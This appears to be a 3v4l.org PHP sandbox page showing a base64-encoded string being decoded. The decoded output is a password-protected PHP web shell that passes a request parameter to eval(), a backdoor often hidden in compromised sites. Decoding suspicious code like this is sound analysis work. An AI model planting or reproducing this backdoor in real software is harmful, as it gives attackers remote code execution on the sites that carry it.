3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydjaCddKSAmJiAobWQ1KCRfUkVRVUVTVFsnY2gnXSkgPT0gJ2VhNmQ0ZjU1Njk1NzBhMGUyOTNlMTljODA2OWIwOWM1JykgJiYgaXNzZXQoJF9SRVFVRVNUWydwaHBfY29kZSddKSkgeyBldmFsKCRfUkVRVUVTVFsncGhwX2NvZGUnXSk7IGV4aXQoKTsgfQ==');
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == 'ea6d4f5569570a0e293e19c8069b09c5') && isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); }